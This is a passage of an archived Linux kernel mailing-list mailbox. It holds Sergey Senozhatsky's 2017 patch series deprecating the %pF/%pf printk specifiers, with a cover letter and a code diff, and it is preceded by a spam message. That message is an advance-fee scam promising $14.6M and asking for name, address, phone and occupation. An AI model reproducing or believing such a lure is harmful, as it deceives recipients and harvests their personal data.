         9DUsF6mHlCAxnKv5MRNHgGx45YfOF6AYuGKCB4CVTSdzNI9e48OhQA1ZCwRTy7sXfRSL
         NcfQ==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:mime-version:reply-to:from:date:message-id
         :subject:to;
        bh=GQ993Rrwselw0CXMSbfxEPenv2an6QCuznuxpinJNWg=;
        b=fB6z2oG3b9faX31+a1y7MCZKDEEFbN7bLrffl4id5ONE+dABbdSKy56YsgnPzRsFqi
         8Fzln4+LB+qEurobfMMgL0L9pWiqt5VOWTkLAvX6IVjE+/XT0bYSG5NU0yvwPV1c4Y86
         t88PZK6pT69WflfZ6jdptg42M56VyY0oxxbIh31iF2dRDmHFI4bj2qnlPbPJb57O531f
         xxvqbRZc0FLbKlPSt4bddTjwx3mcWcv5JZHjqeVAbCCdvU1Aesm3HdMrEz+m/03m1iQF
         /pttmh2PqB97vDq1mGBwDoU9omEFhPpbxXTySsPVfNSvdBPl1Sstw2vFTkNdtvkIQYzT
         tbpA==
X-Gm-Message-State: AMCzsaXpBa8O/YtyHFzM8J16aum7BBpzhYcwl7OXwmMrYW3Li0jNnTsC
        VIWBGY0T4dF+DH/3pDO9+5zUTFL9uEZLXkPJ5Ys=
X-Google-Smtp-Source: AOwi7QDuMuVf5mxwMx4w/rzE8tJK2VST9ngcrEkeTFG9KQYRFsDNcwHLGcwQbZ2rvPYkwkt50aaNFGhQldHYHgDX6lk=
X-Received: by 10.200.8.9 with SMTP id u9mr4604343qth.146.1506670753643; Fri,
 29 Sep 2017 00:39:13 -0700 (PDT)
Original-Received: by 10.200.40.113 with HTTP; Fri, 29 Sep 2017 00:39:13 -0700 (PDT)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27870
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27870>

Greetings from Dr. mohammad ouattara.

Assalamu`Alaikum.

My Name is Dr. mohammad ouattara, I am a banker by profession. I'm
from Ouagadougou, Burkina Faso, West Africa. My reason for contacting
you is to transfer an abandoned $14.6M to your account.

The owner of this fund died since 2004 with his Next Of Kin. I want to
present you to the bank as the Next of Kin/beneficiary of this fund.

Further details of the transaction shall be forwarded to you as soon
as I receive your return mail indicating your interest.

1) YOUR FULL NAME...............................
(2) YOUR AGE AND SEX............................
(3) YOUR CONTACT ADDRESS..................
(4) YOUR PRIVATE PHONE N0..........
(5) FAX NUMBER..............
(6) YOUR COUNTRY OF ORIGIN..................
(7) YOUR OCCUPATION.........................

Have a great day,
Dr. mohammad ouattara.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:26 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Sergey Senozhatsky <sergey.senozhatsky@gmail.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.ports.ia64,gmane.linux.ports.ppc64.devel,gmane.linux.kernel
Subject: [PATCHv3 0/7] printk/ia64/ppc64/parisc64: let's deprecate %pF/%pf printk specifiers
Date: Sat, 30 Sep 2017 11:53:12 +0900
Lines: 101
Approved: news@gmane.org
Message-ID: <20170930025319.987-1-sergey.senozhatsky@gmail.com>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1506740026 18735 195.159.176.226 (30 Sep 2017 02:53:46 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sat, 30 Sep 2017 02:53:46 +0000 (UTC)
Cc: Tony Luck <tony.luck@intel.com>, Fenghua Yu <fenghua.yu@intel.com>,
        Benjamin Herrenschmidt <benh@kernel.crashing.org>,
        Paul Mackerras <paulus@samba.org>,
        Michael Ellerman <mpe@ellerman.id.au>,
        James Bottomley <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        Andrew Morton <akpm@linux-foundation.org>,
        Jessica Yu <jeyu@kernel.org>,
        Alexei Starovoitov <ast@kernel.org>,
        linux-ia64@vger.kernel.org, linux-parisc@vger.kernel.org,
        linuxppc-dev@lists.ozlabs.org, linux-kernel@vger.kernel.org,
        Sergey Senozhatsky <sergey.senozhatsky@gmail.com>
To: Petr Mladek <pmladek@suse.com>,
        Steven Rostedt <rostedt@goodmis.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Sep 30 04:53:41 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1dy7uO-00073c-16
	for glpp-linux-parisc@m.gmane.org; Sat, 30 Sep 2017 04:53:40 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752650AbdI3Cxr (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Fri, 29 Sep 2017 22:53:47 -0400
Original-Received: from mail-pf0-f196.google.com ([209.85.192.196]:33624 "EHLO
        mail-pf0-f196.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1752649AbdI3Cxq (ORCPT
        <rfc822;linux-parisc@vger.kernel.org>);
        Fri, 29 Sep 2017 22:53:46 -0400
Original-Received: by mail-pf0-f196.google.com with SMTP id m28so711268pfi.0;
        Fri, 29 Sep 2017 19:53:46 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20161025;
        h=from:to:cc:subject:date:message-id;
        bh=zj3SlvxnLTdIWARY0um/M6Dkxf+QLSrwBWG0N47LBdA=;
        b=GUdbfzfI/hLBwmcW4tYFRY9ej57Tb8o6ezH/3lZ1kiwN1VMdyNZQEZfKeXQ1rOKOb0
         J3+9RACevBzyHW8z81SaUs2ohRxYZLfkhNVkiH9vi0D8H95IfzH2uKineHNj0yih9GOi
         hU4LWwneGuCQ0vRjrmatAlBVfeDAswcDTDOdLwO9b2kwBkB1BBMrFRkHaLgxFZz18yd7
         fURJfSZ/Gl/Knx/WClFFIkQvHJNh9bMvnp5LhMeyMhwgxRyiFG9xkLux6A4+hJkwvOya
         WTtrsOGULVfFIHJp212SNtF4/7CtkTFOqT83B2bisDRfMCRuRE7+uT5RepIq4HjePiT7
         2GoA==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:from:to:cc:subject:date:message-id;
        bh=zj3SlvxnLTdIWARY0um/M6Dkxf+QLSrwBWG0N47LBdA=;
        b=eXkTWdY04pJKY+KYlp845mVhmDDEVbryIMlhZAy/KNALy6OBRLFJrcPjo36BQcEChk
         A/HNk7mWoHjZNOS8AF5LoiaYRzLWSWDJkqEUsHLQT5gRtKJwG/7bXyqj6Xfc4v4J+I+w
         LZCuAFeXFFgQVJUC3E5JLj7+rNso2kg6eXeivYwEm6bvXO9S2e/q3ED4b8cLf/VW3bSL
         auBAxIu/oYAbQ0wj0C/qjaDp/hVq7emQITi3Zug1nLov1ITNEjKYMXgHU8BJcbXrzKng
         gxgVRjw+JZO8SiD0lOghpkh9BsUy+Ugity/aaKYS3Jd/ofq8qSKXR1QjlAcz0ZYPOnfG
         Q5Ug==
X-Gm-Message-State: AHPjjUhaxh1ypc4Ug7yFL8gGJEBMhfTHjIH8yi5hjKWQiCAA6dqRydYd
        CGexCjcnKZ5y3/Yf6DyqfkM=
X-Google-Smtp-Source: AOwi7QDABB626ky+1qCqialxlEMALVLXlxFYFNHzlOxNwhdxJKQhoUnF7daKw78vSA1dS1V8Ar3fqQ==
X-Received: by 10.99.49.205 with SMTP id x196mr4138185pgx.35.1506740025549;
        Fri, 29 Sep 2017 19:53:45 -0700 (PDT)
Original-Received: from localhost.localdomain ([175.223.27.84])
        by smtp.gmail.com with ESMTPSA id b1sm8680714pgn.94.2017.09.29.19.53.37
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
        Fri, 29 Sep 2017 19:53:44 -0700 (PDT)
X-Mailer: git-send-email 2.14.2
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27871 gmane.linux.ports.ia64:28177 gmane.linux.ports.ppc64.devel:148422 gmane.linux.kernel:2581047
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27871>

	Hello


	Petr, could you please pick up the series?

==========================================================================

	On some arches C function pointers are indirect and point to
a function descriptor, which contains the actual pointer to the code.
This mostly doesn't matter, except for cases when people want to print
out function pointers in symbolic format, because the usual '%pS/%ps'
does not work on those arches as expected. That's the reason why we
have '%pF/%pf', but since it's here because of a subtle ABI detail
specific to some arches (ppc64/ia64/parisc64) it's easy to misuse
'%pF/%pf' and '%pS/%ps' (see [1], for example).

	This patch set attempts to move ia64/ppc64/parisc64 C function
pointer ABI details out of printk() to arch code. Function dereference
code now checks if a pointer belongs to a .opd ELF section and dereferences
that pointer only if it does. The kernel and modules have their own .opd
sections that's why I use two different ARCH functions: for kernel and
for module pointer dereference.

	I planned to remove dereference_function_descriptor() entirely,
but then I discovered a bunch other uses cases (kgdbts, init/main.c,
extable, etc.), so I decided to keep dereference_function_descriptor()
around because the main point of this patch set is to deprecate %pF/%pf.
But at the same time, I think I can go further and handle both kernel
and module descriptor dereference in dereference_function_descriptor().
We need a module pointer for module .opd check, so that will come at an
extra cost of module lookup (may be there will some other issues along
the way, haven't checked it).

Right now we've got:

- dereference_function_descriptor(addr)
        a generic (old) function. it simply attempts to dereference
        whatever pointer we give it.

- dereference_kernel_function_descriptor(addr)
        dereferences a kernel pointer if it's within the kernel's .opd
        section.

- dereference_module_function_descriptor(module, addr)
        dereference a module pointer if it's within the module's .opd
        section.

v3:
-- picked up ACKs and Tested-by
-- tweaked checkpatch warning (Joe)
-- updated Documentation

v2:
-- convert dereference_function_descriptor() to unsigned long
-- fix kernel descriptor range checks (Helge)
-- fix parisc module descriptor range check (Helge)
-- fix ppc64 module range check
-- add checkpatch patch

Sergey Senozhatsky (7):
  switch dereference_function_descriptor() to `unsigned long'
  sections: split dereference_function_descriptor()
  ia64: Add .opd based function descriptor dereference
  powerpc64: Add .opd based function descriptor dereference
  parisc64: Add .opd based function descriptor dereference
  symbol lookup: use new kernel and module dereference functions
  checkpatch: add pF/pf deprecation warning

 Documentation/printk-formats.txt          | 20 ++++++++++----------
 arch/ia64/include/asm/sections.h          | 16 ++++++++++++----
 arch/ia64/kernel/module.c                 | 13 +++++++++++++
 arch/ia64/kernel/vmlinux.lds.S            |  2 ++
 arch/parisc/boot/compressed/vmlinux.lds.S |  2 ++
 arch/parisc/include/asm/sections.h        |  4 +++-
 arch/parisc/kernel/module.c               | 17 +++++++++++++++++
 arch/parisc/kernel/process.c              | 15 ++++++++++++---
 arch/parisc/kernel/vmlinux.lds.S          |  2 ++
 arch/parisc/mm/init.c                     |  4 ++--
 arch/powerpc/include/asm/module.h         |  3 +++
 arch/powerpc/include/asm/sections.h       | 17 ++++++++++++++---
 arch/powerpc/kernel/module_64.c           | 16 ++++++++++++++++
 arch/powerpc/kernel/vmlinux.lds.S         |  2 ++
 drivers/misc/kgdbts.c                     |  2 +-
 include/asm-generic/sections.h            |  8 ++++++--
 include/linux/moduleloader.h              |  4 ++++
 init/main.c                               |  2 +-
 kernel/extable.c                          |  2 +-
 kernel/kallsyms.c                         |  1 +
 kernel/module.c                           |  9 ++++++++-
 lib/vsprintf.c                            |  5 +----
 scripts/checkpatch.pl                     | 11 +++++++++--
 23 files changed, 142 insertions(+), 35 deletions(-)

-- 
2.14.2

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:26 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Sergey Senozhatsky <sergey.senozhatsky@gmail.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.ia64,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel
Subject: [PATCHv3 1/7] switch dereference_function_descriptor() to `unsigned long'
Date: Sat, 30 Sep 2017 11:53:13 +0900
Lines: 202
Approved: news@gmane.org
Message-ID: <20170930025319.987-2-sergey.senozhatsky@gmail.com>
References: <20170930025319.987-1-sergey.senozhatsky@gmail.com>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1506740043 23970 195.159.176.226 (30 Sep 2017 02:54:03 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sat, 30 Sep 2017 02:54:03 +0000 (UTC)
Cc: Tony Luck <tony.luck@intel.com>, Fenghua Yu <fenghua.yu@intel.com>,
        Benjamin Herrenschmidt <benh@kernel.crashing.org>,
        Paul Mackerras <paulus@samba.org>,
        Michael Ellerman <mpe@ellerman.id.au>,
        James Bottomley <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        Andrew Morton <akpm@linux-foundation.org>,
        Jessica Yu <jeyu@kernel.org>,
        Alexei Starovoitov <ast@kernel.org>,
        linux-ia64@vger.kernel.org, linux-parisc@vger.kernel.org,
        linuxppc-dev@lists.ozlabs.org, linux-kernel@vger.kernel.org,
        Sergey Senozhatsky <sergey.senozhatsky@gmail.com>
To: Petr Mladek <pmladek@suse.com>,
        Steven Rostedt <rostedt@goodmis.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Sat Sep 30 04:53:58 2017
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1dy7ub-0005MM-81
	for glk-linux-kernel-3@m.gmane.org; Sat, 30 Sep 2017 04:53:53 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752741AbdI3Cx6 (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
        Fri, 29 Sep 2017 22:53:58 -0400
Original-Received: from mail-pf0-f193.google.com ([209.85.192.193]:34549 "EHLO
        mail-pf0-f193.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1752649AbdI3Cxz (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Fri, 29 Sep 2017 22:53:55 -0400
Original-Received: by mail-pf0-f193.google.com with SMTP id g65so854756pfe.1;
        Fri, 29 Sep 2017 19:53:54 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20161025;
        h=from:to:cc:subject:date:message-id:in-reply-to:references;
        bh=sWZnsuvp0lbERrQZoI5SZe2Z+Fe6tQp7lynvtJZToYs=;
        b=RZgA8FoP7My19YtGv0TKLfZ4qH1JwuLj0IrpHm/GLNrjUIYsycS//32bxx70TobWQj
         lYDE38ik05Dvm7Dq9A4tJPR+F7/KBOtjI5EDejSrwAzngRu4gURHuOsnnApUNvvdbj4e
         nkVif+X4zINKDPb/UU6Zx14blDy2UHt4ileIsfWK9IF0DAVtG5ZUIJmboi3Muutuunh7
         dIpBYAt5WnU1MDcPSAhZq5gfhIYIWgGrmwIe00z31eueCIZSgh/s0lIRuJHNXgxvps1a
         lDgD0CJmORlC88n5RUXA88OYD/93SdFuo174D3UpIkCvhSlP1yGX18Exe20Kp0rkKJVe
         fWdQ==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:from:to:cc:subject:date:message-id:in-reply-to
         :references;
        bh=sWZnsuvp0lbERrQZoI5SZe2Z+Fe6tQp7lynvtJZToYs=;
        b=auiqmeoL29dzXJ5inI70nc3T6QyoCRbSpaz06i5F9YXdAedoGlXW78zswnHUFZRb+E
         oWNx1lUGUNQhC2mCdsb9nhckdnbny9nT0Ybk+cqIMbymWADKm3Ulvg+66zgofSS3Ex9h
         OlrzHLp2z6/xlK78jFdKdockpHLnuuJt1zLhxrRI4c0kccab9ZcyCaRpGGyelxjnUGUZ
         Jdq2JZS9cXcX/ZcEh0+NAW0bmqiekV8GGI2MUU3G7BzNff9A0Ovp43cV0Qs/b/oaOY87
         CzRAqcJP3FP3KwmES/wN0jxYYjhhxGdLN9mj0/9TU3nDwFfGS5TbksKsvNqNM4jRE184
         db/w==
X-Gm-Message-State: AHPjjUj976SD1ZWKy9bcRGDFEAqEbFeNcO9bbt99RcscbyQ6Kzirkw3V
        A3t4tKHixpsiWKITT90ludE=
X-Google-Smtp-Source: AOwi7QBXmFx/xMBHPTBsQspemfeHy3he+QD45DeWtnfRSBRY+mT2nX+YodIjN3Bn4BjAx53ymzaM9w==
X-Received: by 10.159.208.69 with SMTP id w5mr8844787plz.381.1506740034557;
        Fri, 29 Sep 2017 19:53:54 -0700 (PDT)
Original-Received: from localhost.localdomain ([175.223.27.84])
        by smtp.gmail.com with ESMTPSA id b1sm8680714pgn.94.2017.09.29.19.53.46
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
        Fri, 29 Sep 2017 19:53:53 -0700 (PDT)
X-Mailer: git-send-email 2.14.2
In-Reply-To: <20170930025319.987-1-sergey.senozhatsky@gmail.com>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2581048 gmane.linux.ports.ia64:28178 gmane.linux.ports.parisc:27872 gmane.linux.ports.ppc64.devel:148423
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2581048>

Convert dereference_function_descriptor() to accept and return
`unsigned long'. There will be two new ARCH function for kernel
and module function pointer dereference, which will work with
`unsigned long', so the patch unifies interfaces.

Besides, dereference_function_descriptor() mostly work with
`unsigned long':

drivers/misc/kgdbts.c:
addr = (unsigned long) dereference_function_descriptor((void *)addr);

init/main.c:
addr = (unsigned long) dereference_function_descriptor(fn);

kernel/extable.c:
addr = (unsigned long) dereference_function_descriptor(ptr);

kernel/module.c:
unsigned long a = (unsigned long)dereference_function_descriptor(addr);

Convert dereference_function_descriptor() users tree-wide.

Signed-off-by: Sergey Senozhatsky <sergey.senozhatsky@gmail.com>
Tested-by: Helge Deller <deller@gmx.de> # parisc64
Tested-by: Santosh Sivaraj <santosh@fossix.org> # powerpc64
Acked-by: Michael Ellerman <mpe@ellerman.id.au> # powerpc64
Tested-by: Tony Luck <tony.luck@intel.com> # ia64
---
 arch/ia64/include/asm/sections.h    | 6 +++---
 arch/parisc/include/asm/sections.h  | 2 +-
 arch/parisc/kernel/process.c        | 6 +++---
 arch/parisc/mm/init.c               | 4 ++--
 arch/powerpc/include/asm/sections.h | 6 +++---
 drivers/misc/kgdbts.c               | 2 +-
 init/main.c                         | 2 +-
 kernel/extable.c                    | 2 +-
 kernel/module.c                     | 2 +-
 lib/vsprintf.c                      | 2 +-
 10 files changed, 17 insertions(+), 17 deletions(-)

diff --git a/arch/ia64/include/asm/sections.h b/arch/ia64/include/asm/sections.h
index 2ab2003698ef..de6bfa1ef8fb 100644
--- a/arch/ia64/include/asm/sections.h
+++ b/arch/ia64/include/asm/sections.h
@@ -27,13 +27,13 @@ extern char __start_unwind[], __end_unwind[];
 extern char __start_ivt_text[], __end_ivt_text[];
 
 #undef dereference_function_descriptor
-static inline void *dereference_function_descriptor(void *ptr)
+static inline unsigned long dereference_function_descriptor(unsigned long ptr)
 {
-	struct fdesc *desc = ptr;
+	struct fdesc *desc = (struct fdesc *)ptr;
 	void *p;
 
 	if (!probe_kernel_address(&desc->ip, p))
-		ptr = p;
+		ptr = (unsigned long)p;
 	return ptr;
 }
 
diff --git a/arch/parisc/include/asm/sections.h b/arch/parisc/include/asm/sections.h
index 9d13c3507ad6..59fbe0067112 100644
--- a/arch/parisc/include/asm/sections.h
+++ b/arch/parisc/include/asm/sections.h
@@ -6,7 +6,7 @@
 
 #ifdef CONFIG_64BIT
 #undef dereference_function_descriptor
-void *dereference_function_descriptor(void *);
+unsigned long dereference_function_descriptor(unsigned long);
 #endif
 
 #endif
diff --git a/arch/parisc/kernel/process.c b/arch/parisc/kernel/process.c
index 30f92391a93e..d350aa913acc 100644
--- a/arch/parisc/kernel/process.c
+++ b/arch/parisc/kernel/process.c
@@ -267,13 +267,13 @@ get_wchan(struct task_struct *p)
 }
 
 #ifdef CONFIG_64BIT
-void *dereference_function_descriptor(void *ptr)
+unsigned long dereference_function_descriptor(unsigned long ptr)
 {
-	Elf64_Fdesc *desc = ptr;
+	Elf64_Fdesc *desc = (Elf64_Fdesc *)ptr;
 	void *p;
 
 	if (!probe_kernel_address(&desc->addr, p))
-		ptr = p;
+		ptr = (unsigned long)p;
 	return ptr;
 }
 #endif
diff --git a/arch/parisc/mm/init.c b/arch/parisc/mm/init.c
index 1ca9a2b4239f..06e1b79e2946 100644
--- a/arch/parisc/mm/init.c
+++ b/arch/parisc/mm/init.c
@@ -389,10 +389,10 @@ static void __init setup_bootmem(void)
 static int __init parisc_text_address(unsigned long vaddr)
 {
 	static unsigned long head_ptr __initdata;
+	unsigned long addr = (unsigned long)&parisc_kernel_start;
 
 	if (!head_ptr)
-		head_ptr = PAGE_MASK & (unsigned long)
-			dereference_function_descriptor(&parisc_kernel_start);
+		head_ptr = PAGE_MASK & dereference_function_descriptor(addr);
 
 	return core_kernel_text(vaddr) || vaddr == head_ptr;
 }
diff --git a/arch/powerpc/include/asm/sections.h b/arch/powerpc/include/asm/sections.h
index 7902d6358854..67379b8945e8 100644
--- a/arch/powerpc/include/asm/sections.h
+++ b/arch/powerpc/include/asm/sections.h
@@ -66,13 +66,13 @@ static inline int overlaps_kvm_tmp(unsigned long start, unsigned long end)
 
 #ifdef PPC64_ELF_ABI_v1
 #undef dereference_function_descriptor
-static inline void *dereference_function_descriptor(void *ptr)
+static inline unsigned long dereference_function_descriptor(unsigned long ptr)
 {
-	struct ppc64_opd_entry *desc = ptr;
+	struct ppc64_opd_entry *desc = (struct ppc64_opd_entry *)ptr;
 	void *p;
 
 	if (!probe_kernel_address(&desc->funcaddr, p))
-		ptr = p;
+		ptr = (unsigned long)p;
 	return ptr;
 }
 #endif /* PPC64_ELF_ABI_v1 */
diff --git a/drivers/misc/kgdbts.c b/drivers/misc/kgdbts.c
index fc7efedbc4be..6a5a159dfb75 100644
--- a/drivers/misc/kgdbts.c
+++ b/drivers/misc/kgdbts.c
@@ -225,7 +225,7 @@ static unsigned long lookup_addr(char *arg)
 		addr = (unsigned long)_do_fork;
 	else if (!strcmp(arg, "hw_break_val"))
 		addr = (unsigned long)&hw_break_val;
-	addr = (unsigned long) dereference_function_descriptor((void *)addr);
+	addr = dereference_function_descriptor(addr);
 	return addr;
 }
 
diff --git a/init/main.c b/init/main.c
index 83bdfa4750b1..ac56f7a4501f 100644
--- a/init/main.c
+++ b/init/main.c
@@ -764,7 +764,7 @@ static bool __init_or_module initcall_blacklisted(initcall_t fn)
 	if (list_empty(&blacklisted_initcalls))
 		return false;
 
-	addr = (unsigned long) dereference_function_descriptor(fn);
+	addr = dereference_function_descriptor((unsigned long)fn);
 	sprint_symbol_no_offset(fn_name, addr);
 
 	/*
diff --git a/kernel/extable.c b/kernel/extable.c
index 9aa1cc41ecf7..e48d6ba4ce6c 100644
--- a/kernel/extable.c
+++ b/kernel/extable.c
@@ -167,7 +167,7 @@ int kernel_text_address(unsigned long addr)
 int func_ptr_is_kernel_text(void *ptr)
 {
 	unsigned long addr;
-	addr = (unsigned long) dereference_function_descriptor(ptr);
+	addr = dereference_function_descriptor((unsigned long)ptr);
 	if (core_kernel_text(addr))
 		return 1;
 	return is_module_text_address(addr);
diff --git a/kernel/module.c b/kernel/module.c
index de66ec825992..ea77ab13bead 100644
--- a/kernel/module.c
+++ b/kernel/module.c
@@ -1067,7 +1067,7 @@ EXPORT_SYMBOL(__symbol_put);
 void symbol_put_addr(void *addr)
 {
 	struct module *modaddr;
-	unsigned long a = (unsigned long)dereference_function_descriptor(addr);
+	unsigned long a = dereference_function_descriptor((unsigned long)addr);
 
 	if (core_kernel_text(a))
 		return;
diff --git a/lib/vsprintf.c b/lib/vsprintf.c
index 86c3385b9eb3..bcd906a39010 100644
--- a/lib/vsprintf.c
+++ b/lib/vsprintf.c
@@ -1723,7 +1723,7 @@ char *pointer(const char *fmt, char *buf, char *end, void *ptr,
 	switch (*fmt) {
 	case 'F':
 	case 'f':
-		ptr = dereference_function_descriptor(ptr);
+		ptr = (void *)dereference_function_descriptor((unsigned long)ptr);
 		/* Fallthrough */
 	case 'S':
 	case 's':
-- 
2.14.2



From - Thu Nov 08 21:40:26 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Sergey Senozhatsky <sergey.senozhatsky@gmail.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.ia64,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel
Subject: [PATCHv3 2/7] sections: split dereference_function_descriptor()
Date: Sat, 30 Sep 2017 11:53:14 +0900
Lines: 125
Approved: news@gmane.org
Message-ID: <20170930025319.987-3-sergey.senozhatsky@gmail.com>
References: <20170930025319.987-1-sergey.senozhatsky@gmail.com>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1506740051 25931 195.159.176.226 (30 Sep 2017 02:54:11 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sat, 30 Sep 2017 02:54:11 +0000 (UTC)
Cc: Tony Luck <tony.luck@intel.com>, Fenghua Yu <fenghua.yu@intel.com>,
        Benjamin Herrenschmidt <benh@kernel.crashing.org>,
        Paul Mackerras <paulus@samba.org>,
        Michael Ellerman <mpe@ellerman.id.au>,
        James Bottomley <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        Andrew Morton <akpm@linux-foundation.org>,
        Jessica Yu <jeyu@kernel.org>,
        Alexei Starovoitov <ast@kernel.org>,
        linux-ia64@vger.kernel.org, linux-parisc@vger.kernel.org,
        linuxppc-dev@lists.ozlabs.org, linux-kernel@vger.kernel.org,
        Sergey Senozhatsky <sergey.senozhatsky@gmail.com>
To: Petr Mladek <pmladek@suse.com>,
        Steven Rostedt <rostedt@goodmis.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Sat Sep 30 04:54:04 2017
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1dy7ul-00062g-9O
	for glk-linux-kernel-3@m.gmane.org; Sat, 30 Sep 2017 04:54:03 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752765AbdI3CyH (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
        Fri, 29 Sep 2017 22:54:07 -0400
Original-Received: from mail-pg0-f68.google.com ([74.125.83.68]:37332 "EHLO
        mail-pg0-f68.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1752649AbdI3CyE (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Fri, 29 Sep 2017 22:54:04 -0400
Original-Received: by mail-pg0-f68.google.com with SMTP id 125so879617pgj.4;
        Fri, 29 Sep 2017 19:54:04 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20161025;
        h=from:to:cc:subject:date:message-id:in-reply-to:references;
        bh=JHyTVZD676N/hZj4/970r0yL5skqRwoSnGbluCR0ZjQ=;
        b=Kf4LTCft1UDFnfBQESmSHPRq0HWrhJanDnAlpVuvhlHPpANg/0BWDBCOB65/lJEVWP
         QscmlWiNZ5QEQdf+SG7NsnHnAf+YtbnDpTWGYZulqdVxvAev/flcTB7j43BVEidgXUXp
         K49MHFqoZ4NLGlL7wMg31XzEfOLm8HS/kHopMtEVy82UBT5detE/41qzyVG678grgoha
         loQRdZ3mK5Ur6tpZ5hiWZXM1+zh4dLO57ixqegvrtHz0FSJHpwCGuplTJmJQF30YvW/j
         3+HwpNEP/JHwUvbrC0Q/zQ8xDLnZ3g0j2vYHFpAwady/jpwYktZWLmMftNBhGygixGEU
         h+wg==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:from:to:cc:subject:date:message-id:in-reply-to
         :references;
        bh=JHyTVZD676N/hZj4/970r0yL5skqRwoSnGbluCR0ZjQ=;
        b=n6dnwLF6Oq5TMzQREfzBPV0HIA472hqzlwjDaltNKVE/mp5d2bqeK97L50WX0LKi2p
         H3ZPcDVM6Uq3PVgtalBSQGy3qZA0pO9zHQgc78w8+jp8G5kUNpyDsB0v6RVaetW24bfO
         4B+JswpdcUfji3pUan4YljYQMr3cCLHzuYauSLDT+h+2EYBnqiHKsJM51wlJWwnWRqRD
